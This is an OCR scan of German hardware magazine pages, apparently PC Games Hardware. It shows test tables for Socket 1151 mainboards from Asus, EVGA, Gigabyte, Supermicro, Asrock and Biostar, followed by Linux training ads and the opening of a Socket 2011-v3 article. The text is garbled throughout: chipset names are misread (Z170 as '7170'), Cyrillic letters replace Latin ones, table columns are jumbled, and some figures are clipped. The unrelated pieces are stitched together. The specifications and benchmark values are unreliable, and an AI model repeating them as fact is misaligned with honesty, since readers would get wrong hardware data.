—/—/х\!х1!—[х1!х& 


$АТА 


6x 6 GBit/s (7170), 4 als 2x 
SATA-Express (PCI-Express 3.0 
x2) nutzbar 


6x 6 GBit/s (6x Z270) 


M.2, Anbindung, Format 


1x PCI-E-3.0-x4, 
42/60/80/110 mm 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 mm; 1x M.2 m-Key, 
PCI-E-3.0-x4 (deaktiviert 2x SATA), 
42/60/80 mm 


Onboard-LAN 


1x Gigabit (Intel 1219-V) 


1x Gigabit (Intel 1219-V) 


Monitor-Anschlüsse 


HDMI/Display-Port 


HDMI/DVI-D 


USB extern/intern 


2x/0x USB 3.1 (davon x1 Typ-C); 
2x/4x USB 3.0; 4x/4x USB 2.0 


2x/0x USB 3.1 (davon х1 Typ-C 
extern); 4x/4x USB 3.0; 2x/4x 
USB 2.0 


Legacy-Schnittstellen extern/ 
intern 


S/2-Maus-Tastatur-Combo-Port 


PS/2-Maus-und-Tastatur-Combo-Port 


Sound-Chip Realtek ALC1150 Realtek ALC1220 
Kopfhörer-Verstärker/DTS oder a/ja/nein Ja/nein/nein 
DDL/wechselbarer OP-AMP 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel 


Audio-Aus-/Eingänge 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


Lüfteranschlüsse 


7x 4-Pin PWM 


6x 4-Pin PWM 


Sonstige Ausstattung 


ower- und Reset-Schalter; Clear- 
CMOS-Schalter am I/O-Panel; 
Statussegmentanzeige; Anschluss 
ür Temperatursensor; TB-Header, 
gesockeltes UEFI 


Clear-CMOS-Jumper; regelbare 
RGB-Beleuchtung; Anschluss für 
RGB-LED-Streifen 


Beiliegend 


4x SATA-Kabel; SLI-Brücke; Hand- 
buch Englisch 


2x SATA-Kabel; SLI-Brücke; Y-Kabel 
für RGB-LED-Streifen; Handbuch 


schaft 


Englisch 


Abstand** CPU <> 1.12. RAM-Slot 


55/64 Millimeter 


53/62 Millimeter 


Abstand** CPU <> 1./2. Span- 0/0 (Kühler 24 mm flach) — (24 mm flach) 
nungswandlerkühler 

Abstand** CPU <> 1. PCI-E-x16 |94 Millimeter 93 Millimeter 
Abstand PEG 1<>2 2 Slots 2 Slots 


CPU-/Ring-Multiplikator/BCLK 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


CPU-Spannung 


0,6 bis 1,7 Volt 


0,6 bis 1,6 Volt 


Vcore adaptiv/Offset nach oben/ 
nach unten/Vdroop-Gegenmaß- 
nahme 


Ja/ja/ja/ja, konfigurierbar 


Ja/ja/ja/ja, konfigurierbar 


VCCIO/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


****Ganzes System mit i7-6700K und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil 


***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. 


Maximal wählbarer Speichertakt |DDR4-4266 DDR4-4133 
Maximale Speicherspannung 2,00 Volt 2,20 Volt 
Lüftersteuerung Kurve konfigurierbar; CPU + weitere |Kurve konfigurierbar; CPU + weitere 
Lüfter Lüfter 
Stabilitáts- & Praxis-Probleme Keine Keine 
| Stu (60 % | 2,6: 
Realer Referenztakt (CPU-Z) 100,90 MHz 100,00 MHz 
Witcher 2 ЕЕ 1080р, kein AA/AF |143,8 Fps 143,0 Fps 
Lightroom 5.6, Export 30 RAWs |145,0 Sekunden 148,7 Sekunden 
AIDA Memory Bench - Kopierrate |31.489 MB/s 30.822 MB/s 
Boot-Zeit Windows-8.1-Desktop |24,1 Sekunden 22,2 Sekunden 
Temp. Spannungswandler/PCH*** 51/36/40 °C 52/41/40 °C 


Stromverbrauch**** Soft-off/ 
Leerlauf/Last*** 


1,9/44,1/301 Watt 


1,0/39,5/291 Watt 


FAZIT 


Wertung 2,33 


www.pcgameshardware.de 


Testsystem: Core i7-6700K, Palit GTX980 Ti Superjetstream 110% powertarget, 91 °C temptarget; 2x 8 GiB Crucial DDR4-2133 oder 2x 8 СІВ GEIL DDR3-2133, ЕКІ Alpenföhn Brocken Eco bei 900 U/min 


nur Spannungswandlerkühlerteile >2,5 cm 


Mainboard-Kaufberatung | INFRASTRUKTUR 


**Ab Sockel-Mitte; 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben 1/0-Рапе! 


SOCKEL-1151- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien. 


Produkt 
Hersteller (Website) 


Maximus IX Hero 
Asus (www.asus.de) 


2270 FTW K 
EVGA (www.evga.de) 


Gigabyte (www.gigabyte.de) 


С7227 


Super Micro (www.supero.com) 


Z270 Gaming K6 


Asrock (www.asrock.de) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 270,-/befriedigend 


Ca. € 330,-/ausreichend 


Ca. € 230,-/befriedigend 


Ca. € 270,-/befriedigend 


Ca. € 200,-/gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1557900 


www.pcgh.de/preis/1561593 


www.pcgh.de/preis/1557876 


www.pcgh.de/preis/1578717 


www.pcgh.de/preis/1544856 


Chip; UEFI-; Board-Revision 


Intel 2270; 0603; 1.01 


Intel 2270; 1.01; 1.0 


Intel 2270; F2; 1.0 


Intel 2270; 1.0; 1.01 


Intel 2270; 1.14; 1.02 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 2,12 2,37 1,91 2,81 1,99 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 4x DDR4 
PCI-E-Standard* 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/-/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 —/3.0/3.013.0/3.0/3.013.0 3.0/3.0/-/3.0/3.0/3.0/3.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix81-1- 


-/%16/-/-1x0/-/- oder -/x8/-l-1x8/-l- 


1% 16/-/-1x0/-/- oder -/x8/-/-/x8-|- 


-/x16/-/-1x0/-/x0 oder -/x8/-/-/x8/- 
1x0 oder -/x8/-/-Ix41-1x4 


x 16/-/-1x0/-/- oder -/x8/-/-/x8-|- 


PCI-E-PCH-Lane-Verteilungsoptionen* 


ls lef oder x1/-/-/x11— 
AER 


x4l-I-xTM-I-Ix1 


X HI 1/-x01x4 oder х1/-/-/х1/- 
/х1/х4 und 1x SATA deaktiviert 


MR UR NIX 1 


DECH ENEE 


SATA 


6x 6 GBit/s (6x Z270) 


6x 6 GBit/s (2270), 4 als 2x SATA-Ex- 
press (PCI-Express 3.0 x2) nutzbar 


6x 6 GBit/s (7270), 6 als Зх SATA-Ex- 
press (PCI-Express 3.0 х2) nutzbar 


6x 6 GBit/s (6x 7270) 


8x 6 GBit/s (6x 2270; 2x ASM1061) 


M.2, Anbindung, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42160/80/110 mm; 1x M.2 m-Key, 
PCI-E-3.0-x4 (deaktiviert 2x SATA), 
42/60/80 mm; 1x M.2 e-Key, 
PCI-E-3.0-x1 (vertikal) 


2x M.2 m-Key, PCI-E-3.0-x4, 60/80/110 
(deaktiviert jeweils 2x SATA/1x SATA-Ex- 
press); 1x M.2 e-Key, PCI-E-3.0-x1 (de- 
aktiviert PCI-E x1); 1x U.2, PCI-E-3.0-x4 
(deaktiviert PCI-Express х4); 


1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 
2x SATA), 42/60/80/110 mm; 1x M.2 
m-Key, PCI-E-3.0-x4 (deaktiviert PCI-E 
x4), 42/60/80 mm; 1x U.2, PCI-E-3.0-x4 


1x M.2 m-Key, PCI-E-3.0-x4, 60/80; 1x 
M.2 m-Key, PCI-E-3.0-x4, 60/80/110 (de- 
aktiviert 2x SATA); 1x U.2, PCI-E-3.0-x4; 
1x U.2, PCI-E-3.0-x4 (deaktiviert 

ersten M.2) 


1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 
2x SATA), 30/42/60/80/110 mm; 1x 
M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 2x 
SATA), 30/42/60/80 mm; 1x M.2 e-Key, 
CI-E-3.0-x1, 2230 


Onboard-LAN 


1x Gigabit (Intel 1219-V) 


2x Gigabit (Intel 1219-V + Killer E2400) 


2x Gigabit (Intel 1219-V + Killer E2500) 


1x Gigabit (Intel 1219-V) 


2x Gigabit (Intel 1219-V + Intel I211-AT) 


Monitor-Anschlüsse 


HDMI/Display-Port 


HDMI/Display-Port 


HDMI/Display-Port 


HDMI/Display Port/DVI-D 


HDMI/DVI-D/D-Sub 


USB extern/intern 


2x/2x USB 3.1 (davon x1 Typ-C 
extern/x2 USB-3.1-spezial-Front-Pa- 
nel-Header); 4x/2x USB 3.0; 4x/2x 
USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
6x/4x USB 3.0; 
0x/2x USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
5x/4x USB 3.0; 
0x/4x USB 2.0 


4x/0x USB 3.1 (davon x1 Typ-C extern); 
0x/2x USB 3.0; 
2x/6x USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
4х/4х USB 3.0; 
0x/6x USB 2.0 


Legacy-Schnittstellen extern/intern 


S/2-Maus-oder-Tastatur-Flex-Port 


S/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


S/2-Maus-und-Tastatur-Combo-Port; 
COM-Header 


Sound-Chip Realtek „51220“ (vermutl. ALC1220) | Realtek ALC1150 Creative Sound Core 3D ealtek ALC1150 ealtek ALC1220 

Kopfhörer-Verstärker/DTS oder DDL/ а/пеїп/пеїп Jalnein/nein a/nein/ja a/nein/nein a/nein/nein 

wechselbarer OP-AMP 

Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 5.1 + 2.0, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 

Lüfteranschlüsse 8x 4-Pin PWM 7x 4-Pin PWM 7x 4-Pin PWM 5x 4-Pin PWM 5x 4-Pin PWM 

Sonstige Ausstattung Power- und Reset-Schalter; Gesockeltes UEFI; Power- und Reset- 'ower- und Reset-Schalter; Clear- ower- und Reset-Schalter; Clea-CMOS- | Power- und Reset-Schalter; Clear-CMOS- 
Clear-CMOS-Schalter; regelbare Schalter; Clear-CMOS-Schalter am 1/0- CMOS-Schalter; Dual-UEFI; regelbare Schalter; DOM-Stromversorgung; Status- | Jumper; Dual-UEFI; regelbare RGB- 
RGB-Beleuchtung; Anschluss für Panel; Statussegmentanzeige; GB-Beleuchtung; Anschluss für RGBW- |segmentanzeige Beleuchtung; Anschluss für RGB-LED- 
RGB-LED-Streifen; Anschluss für ED-Streifen; Thunderbolt-Header; Status- Streifen; Statussegmentanzeige 
Durchflussmesser; Anschluss für drei segmentanzeige; 2x Anschluss für Tempe- 

emperatursensoren; Statussegment- ratursensoren; Thunderbolt-3-Controller 

anzeige; 

Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; 2x SATA-Kabel; ausführliches Handbuch | 4x SATA-Kabel; HB-SLI-Brücke; Verlänge- |4x SATA-Kabel; Handbuch nur online 4x SATA-Kabel; HB-SLI-Brücke; 1x Post- 
Verlängerung für RGB-LED-Anschluss; | Englisch rungskabel für RGBW-LED-Streifen; 2x karte; Handbuch Deutsch 
Handbuch Englisch Temperatursensor; Handbuch Englisch 

Eigenschaften (20 %) 1,58 1,74 1,97 1,67 1,65 

Abstand** CPU <> 1./2. RAM-Slot 54/64 Millimeter 51/59 Millimeter 56/65 Millimeter 51/58 Millimeter 52/61 Millimeter 

Abstand** CPU <> 1./2. Spannungs- |58/- Millimeter 48/- Millimeter 62/65 Millimeter 65/69 Millimeter 52/- Millimeter 

wandlerkühler 

Abstand** CPU <> 1. PCI-E-x16 92 Millimeter 98 Millimeter 95 Millimeter 97 Millimeter 95 Millimeter 

Abstand PEG 1<>2 2 Slots 2 Slots 2 Slots 2 Slots 2 Slots 


CPU-/Ring-Multiplikator/BCLK 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


CPU-Spannung 


0,6 bis 2,2 Volt 


0,8 bis 2,0 Volt 


0,6 bis 1,8 Volt 


0,0 bis 2,0 Volt 


0,9 bis 1,5 Volt 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Ja/ja/ja/ja, konfigurierbar 


Jaljaljalja 


Nein/ja/ja/ja, konfigurierbar 


Jaljaljalja, konfigurierbar 


Nein/ja/nein/ja, konfigurierbar 


VCCIO/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


estsystem: Core i7-6700K, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Crucial DDR4-2133 oder 2х 8 GiB GEIL DDR3-2133, ЕКІ Alpenfóhn Brocken Eco bei 900 U/min 


nur Spannungswandlerkühlerteile >2,5 cm ***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur ****Ganzes System mit i7-6700K und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil 


Maximal wáhlbarer Speichertakt 


DDR4-4266 


DDR4-4133 


DDR4-4133 


DDR4-4133 


DDR4-4133 


Maximale Speicherspannung 


2,40 Volt 


2,00 Volt 


2,00 Volt 


1,75 Volt 


1,80 Volt 


FAZIT 


www.pcgameshardware.de 


© Aufwendige Soundlösung 
© Temp.-sensor- & DFS-Anschlüsse 


© 10x USB extern 


Wertung: 2,41 


© Sehr gute Kühlung 
© Geringer Stromverbrauch 
© Zahlreiche USB 3.0 


Wertung: 2,43 


© Creative-Onboard-Sound 
© Thunderbolt 3 
© 0.2 zusätzlich zu 2x M.2 


Wertung: 2,46 


© Sehr gute Kühlung 
© 4x USB 3.1 
© Ungünstiges PCI-E-Layout 


Wertung: 2,49 
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Lüftersteuerung Kurve konfigurierbar; CPU + weitere |Kurve konfigurierbar; CPU + weitere Kurve konfigurierbar; CPU + weitere Kurve konfigurierbar; CPU + weitere Kurve konfigurierbar; CPU + weitere 
Lüfter Lüfter Lüfter Lüfter Lüfter 

Stabilitäts- & Praxis-Probleme Keine Keine All-Core-Turbo nicht deaktivierbar Keine Keine 

(für Leistungsmessungen auf 4,0 GHz 

begrenzt) 
Leistung (60 %) 2,79 2,68 2,80 2,67 2,98 
Realer Referenztakt (CPU-Z) 100,00 MHz 99,98 MHz 00,02 MHz 99,98 MHz 100,85 MHz 
Witcher 2 EE 1080p, kein AA/AF 143,0 Fps 140,8 Fps 43,2 Fps 142,0 Fps 145,0 Fps 
Lightroom 5.6, Export 30 RAWs 148,6 Sekunden 148,0 Sekunden 49,9 Sekunden 148,6 Sekunden 147,8 Sekunden 
AIDA Memory Bench - Kopierrate 31.182 MB/s 30.856 MB/s 31.099 MB/s 31.012 MB/s 31.588 MB/s 
Boot-Zeit Windows-8.1-Desktop 27,5 Sekunden 43,2 Sekunden 28,4 Sekunden 41,3 Sekunden 36,7 Sekunden 
Temp. Spannungswandler/PCH* * * 52/38/45 *C 39/28/38 *C 51/38/44 *C 35/28/35 *C 66/41/46 *C 
Stromver.**** Soft-off/Leerl./Last*** | 1,5/48,2/302 Watt 1,0/41,4/285 Watt ,0/45,6/310 Watt 1,2/38,2/310 Watt 2,6/45,3/317 Watt 


© SATA-Zusatzcontroller 
© WLAN-Vorbereitung 
© Beide M.2 sharen mit SATA 


Wertung: 2,52 
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SOCKEL-1151- 
MAINBOARDS 


Auszug aus бег Testtabelle mit 
160 Wertungskriterien. 


Produkt 
Hersteller (Website) 


Z170X-Gaming 3 
Gigabyte (www.gigabyte.de) 


Z170 Gaming K4 


Asrock (www.asrock.de) 


Z170 Extreme4 


Asrock (www.asrock.de) 


Z270GT6 


Biostar (www.biostar-europe.com) 


B150M Pro4S 


Asrock (www.asrock.de) 


Preis/Preis-Leistungs-Verhàltnis 


Ca. € 160,-/gut 


Ca. € 120,-/gut 


Ca. € 160,-/gut 


Ca. € 210,-/befriedigend 


Ca. € 75,-/sehr gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1306467 


www.pcgh.de/preis/1306625 


www.pcgh.de/preis/1306610 


www.pcgh.de/preis/1558351 


www.pcgh.de/preis/1318332 


Chip; UEFI-; Board-Revision 


Intel Z170; F3a; 1.0 


Intel 2170; 1.80; 1.04 


Intel 2170; 3.2; 1.04 


Intel 7270; Z27DFB21; 5.0 


Intel B150; 1.80; 1.02 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 235 mm 


ATX; 305 x 218 mm 


ATX; 305 x 244 mm 


ATX; 305 x 225 mm 


Micro-ATX; 244 x 244 mm 


press (PCI-Express 3.0 x2) nutzbar 


press (PCI-Express 3.0 x2) nutzbar 


press (PCI-Express 3.0 x2) nutzbar 


Ausstattung (20 %) 2,36 2,46 2,33 2,88 3,88 

Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 4x DDR4 

PCI-E-Standard* 3.0/3.0/—/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/-/3.0. 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/3.0/3.0/3.0/3.0/3.0 3.0/3.0/3.0/3.0 

PCI-E-CPU-Lane-Verteilungsoptionen* |-/x16/-/-/x0/-/- oder -/x8/-/-1x8/-/-|-/x 16/-/-/-/-/- -/x 16/-/-1x0/-/- oder -/x8/-1-Ix8/-/- | 1x 16/-/-1-/-1- x16/-/-I- 

PCI-E-PCH-Lane-Verteilungsoptionen* |x1/-/-/x1/-/x0/x4 oder x 1/-/- ж1/-/-/х1/х4/—/х1 ж1/—/-/х1/-/х1/х4 EENEG) -/x1/x1/x4 
[х\Ї-Їх\Їх1 

$АТА 6x 6 GBit/s (7170), 6 als 3x ЅАТА-Ех- |6x 6 GBit/s (7170), 4 als 2x SATA-Ex- |6x 6 GBit/s (7170), 6 als 3x ЅАТА-Ех- |6x 6 GBit/s (6x 7270) 6x 6 GBit/s (B150) 


M.2, Anbindung, Format 


1x PCI-E-3.0-x4, 42/60/80 mm; 1x 
PCI-E-3.0-x4 (deaktiviert 4x SATA), 
42/60/80 mm 


1x PCI-E-3.0-x4, 30/42/60/80/110 mm 


1x PCI-E-3.0-x4 (deaktiviert 2x SA- 
TA/1x SATA-Express), 30/42/60/80/110 
mm 


1x M.2 m-Key, PCI-E-3.0-x4 (deakti- 
viert oberen PCI-E x4), 42/60/80; 1x 
0.2, PCI-E-3.0-x4 (deaktiviert 2x SATA) 


3х/4х USB 3.0; 2х/4х USB 2.0 


2x/4x USB 2.0 


6x/2x USB 3.0; 0x/4x USB 2.0 


Onboard-LAN 1x Gigabit (Killer E2201) 1x Gigabit (Killer E2400) 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-V) 
Monitor-Anschlüsse HDMI/DVI-D/D-Sub HDMI/DVI-D HDMI/Display-Port/DVI-D HDMI/DVI-D HDMI/DVI-D 
USB extern/intern 2x/0x USB 3.1 (davon x1 Typ-C); 6x/2x USB 3.0 (davon х1/х Typ-C); 2x/0x USB 3.1 (davon x1 Typ-C); 5x/2x USB 3.0 (davon x1/x0 Тур-С); |4х/2х USB 3.0; 0x/2x USB 2.0 


2x/4x USB 2.0 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben l/O-Panel **Ab Sockel-Mitte; 


Legacy-Schnittstellen extern/intern 5/2-Maus-Tastatur-Combo-Port, COM |PS/2-Maus-Tastatur-Combo-Port, COM |PS/2-Maus-Tastatur-Combo-Port, COM |PS/2-Tastatur-Port PS/2-Maus-Tastatur-Combo-Port; COM 
(Header) (Header) (Header) (Header); LPT (Header) 
Sound-Chip ealtek ALC1150 ealtek ALC1150 ealtek ALC1150 Realtek ALC892 Realtek ALC892 
Kopfhörer-Verstärker/DTS oder DDL/ Ja/nein/nein а/ја/пеіп a/ja/nein Jalnein/nein Nein/nein/nein 
wechselbarer OP-AMP 
Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1/Eingang x2 5.1/Eingänge nur als Doppelbelegung 
Lüfteranschlüsse 1x 4-Pin PWM; 4x 3-Pin/4-Pin ohne — | 2x 4-Pin PWM; 4x 3-Pin/4-Pin ohne ` | 4x 4-Pin PWM; 1x 3-Pin/4-Pin ohne |5x 4-Pin PWM 3x 4-Pin PWM 
WM WM WM 
Sonstige Ausstattung B-Header; Dual-UEFI Clear-CMOS-Jumper; gesockeltes ower- und Reset-Schalter; Clear-CMOS- | Power- und Reset-Schalter (Touch); Clear-CMOS-Jumper; gesockeltes UEFI 
Dual-UEFI Schalter am I/O-Panel; gesockeltes Clear-CMOS-Jumper; regelbare RGB- 
Dual-UEFI; TB-Header; Statussegment- | Beleuchtung; 2x Anschluss für RGB- 
anzeige LED-Streifen (kompakt/2 mm pitch); 
Statussegmentanzeige 
Beiliegend 4x SATA-Kabel; SLI-Brücke; Handbuch | 4x SATA-Kabel; Handbuch Englisch 4x SATA-Kabel; SLI-Brücke; Handbuch | 4x SATA-Kabel; 1x Adapter 2-mm-RGB- | 2x SATA-Kabel; kurzes Handbuch 
Englisch; World-of-Tanks-Bonus-Code Englisch Anschluss auf normales 2,54-mm-Raster; | Deutsch 
Handbuch Englisch; 240-GB-SSD (SATA) 
Eigenschaften (20 %) 2,13 2,62 2,13 2,45 3,14 
Abstand** CPU <> 1./2. RAM-Slot 56/65 Millimeter 53/62 Millimeter 53/62 Millimeter 52/61 Millimeter 53/62 Millimeter 
Abstand** CPU <> 1./2. Spannungs- 161/64 Millimeter 49/56 Millimeter 57/58 Millimeter 53/- Millimeter 0/- (Kühler 13 mm flach) 
wandlerkühler 
Abstand** CPU <> 1. PCI-E-x16 93 Millimeter 95 Millimeter 91 Millimeter 94 Millimeter 75 Millimeter 
Abstand PEG 1 <> 2 2 Slots — (nur ein PEG) 2 Slots — (nur ein PEG) — (nur ein PEG) 
CPU-/Ring-Multiplikator/BCLK Anheb- und absenkbar/einstellbar/ Anheb- und absenkbar/einstellbar/ Anheb- und absenkbar/einstellbar/ Anheb- und absenkbar/einstellbar/ Nicht einstellbar/nicht einstellbar/nicht 
einstellbar einstellbar einstellbar einstellbar einstellbar 
CPU-Spannung 0,6 bis 1,8 Volt 0,9 bis 1,5 Volt 0,9 bis 1,5 Volt 1,0 bis 1,8 Volt Offset +0 bis +0,5 V 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Nein/ja/ja/ja, konfigurierbar 


Nein/ja/ja/ja, konfigurierbar 


Nein/ja/ja/ja, konfigurierbar 


Nein/ja/ja/ja, konfigurierbar 


Nein/ja/nein/nein 


VCCIO/IMC-/PCH-Spannung Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar Nicht einstellbar/nicht einstellbar/nicht 
einstellbar 

Maximal wählbarer Speichertakt DDR4-4133 DDR4-4133 DDR4-4133 DDR4-4000 DDR4-2133 

Maximale Speicherspannung 2,00 Volt 1,80 Volt 1,80 Volt 1,60 Volt 1,55 Volt 


Lüftersteuerung Kurvensteigung wählbar; CPU + Kurve konfigurierbar, CPU + weitere |Kurve konfigurierbar; CPU + weitere — |Kurvensteigung wählbar; CPU + wei- | Kurve konfigurierbar; CPU + weitere 
weitere Lüfter Lüfter Lüfter tere Lüfter Lüfter 

Stabilitäts- & Praxis-Probleme Keine Keine Keine Keine Keine 

Leistung (60 %) 2,75 2,61 2,87 2,84 3,12 

Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 100,83 MHz 99,88 MHz 100,00 MHz 

Witcher 2 EE 1080p, kein AA/AF 142,8 Fps 144,0 Fps 141,0 Fps 143,4 Fps 140,6 Fps 

Lightroom 5.6, Export 30 RAWs 145,5 Sekunden 146,2 Sekunden 146,9 Sekunden 148,4 Sekunden 148,1 Sekunden 

AIDA Memory Bench - Kopierrate 31.065 MB/s 31.386 MB/s 31.648 MB/s 31.122 MB/s 31.184 MB/s 

Boot-Zeit Windows-8.1-Desktop 20,6 Sekunden 20,4 Sekunden 22,0 Sekunden 35,3 Sekunden 22,8 Sekunden 

Temp. Spannungswandler/PCH*** 66/37/44 °C 60/32/38 °C 66/35/40 °C 61/47/40 °C 84/38/40 °C 


Stromver.**** Soft-off/Leerl./Last*** 


FAZIT 
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0,9/38,8/307 Watt 


© 2x M.2 32 Gbit/s 
© Viele USB 3.X 


© Kühlung ausreichend 


Wertung: 2,55 
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0,7/41,3/293 Watt 


© Kein HSIO-Sharing 
© Günstig 
© Knappe Ausstattung 


Wertung: 2,58 


0,4/44,4/302 Watt 


© Umfangreiche Ausstattung 
© Übertaktung möglich 
© Relativ günstig 


Wertung: 2,61 


0,9/36,4/313 Watt 


© 240-GB-SSD inklusive 
© Geringer Idle-Verbrauch 
© Einfache Lüftersteuerung 


Wertung: 2,77 


0,3/39,5/299 Watt 


© Sehr günstig 
© Für B150 gute Erweiterbarkeit 
© Heiße Spannungswandler 


Wertung: 3,28 
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Testsystem: Core i7-6700K, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Crucial DDR4-2133 oder 2x 8 GiB GEIL DDR3-2133, EKL Alpenföhn Brocken Eco bei 900 U/min 


**** Ganzes System mit 17-6700К und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil 


nur Spannungswandlerkühlerteile >2,5 cm * * *Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur 


E 


LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


É 
E 


= mit Peer Heinlein, 
4 Heinlein Support GmbH 


та 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


= ё puthon` 


Рирреї Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


mNETWwAYSy: /NPUppet 


Y 
f /ComputecAcademy 


www.computec-academy.de 


; IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


= Bleiben Sie trotz zeitlicher Engpässe 
up-to-date. 


cmo 


Effiziente BASH-Skripte 
{ mit Klaus Knopper, 

13» Gründer der Knoppix-Distribution, 
KNOPPER.NET 


199€ 


d L [нух Linux Foundation 
FOUNDATION шшш 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — 0penStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
sys4 AG 


[*] 5у54 
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Intel-High-End: Sockel-2011-v3 (Broadwell-E) 


ntels Produktpalette ist seit Jah- 
| lon in zwei Klassen geteilt und 
die Trennung verläuft mitten durch 
die Ansprüche ambitionierter Spie- 
ler: Der Sockel 1151 deckt Teile der 
Oberklasse und den Mainstream- 
Markt, aber auch das Einsteiger- 
segment ab. Entsprechend wird 
Rücksicht auf die Anforderungen 
günstiger Komplettsysteme genom- 
men. Den anderen Teil der (Spie- 
ler-)Oberklasse bedient der Sockel 
2011-v3, dessen Hauptzielgruppe 
eigentlich Enthusiasten mit deut- 
lich vierstelligem Budget sind. Die- 
sen bietet der ursprünglich für Ser- 
ver und Workstations entwickelte 
Sockel 2011-v3 (nicht mit seinem 
ähnlich platzierten, aber inkompa- 
tiblen Vorgänger 2011 zu verwech- 
seln) deutlich von der Mittelklasse 
abweichende Features. 


Maximal-Ambitionen 

Auf der Habenseite stehen mächti- 
ge Prozessoren. Bis zu 10 Rechen- 
kerne (bei prinzipiell kompatiblen 
Server-Xeons sogar bis zu 24), vier 
statt zwei Speicherkanäle und bis 
zu 40 PCI-Express-3.0-Lanes direkt 
in der CPU sprechen eine deutliche 
Sprache. Dieser Aufwand schlägt 
sich auf der anderen Seite nicht 


nur im Preis der Prozessoren, son- 
dern auch der Mainboards nieder. 
Außerdem läuft die Weiterentwick- 
lung langsamer ab. So stammt der 
einzig verfügbare PCH X99 aus dem 
Jahre 2014. Seine maximal 8 PCI- 
Express-2.0-Lanes und die üppigen 


10 SATA-6-GBit/s-Ports wirken in 
Zeiten von PCI-Express-3.0-x4-SSDs 
antiquiert. Immerhin: Dank der 
1-PCH-Politik entfallen Kompatibi- 
litätsprobleme - alle Haswell-E- und 
Broadwell-E-Prozessoren laufen auf 
allen Sockel-2011-v3-Mainboards. 
Auch Übertaktungssperren gibt es 
weder bei Mainboards noch CPUs, 
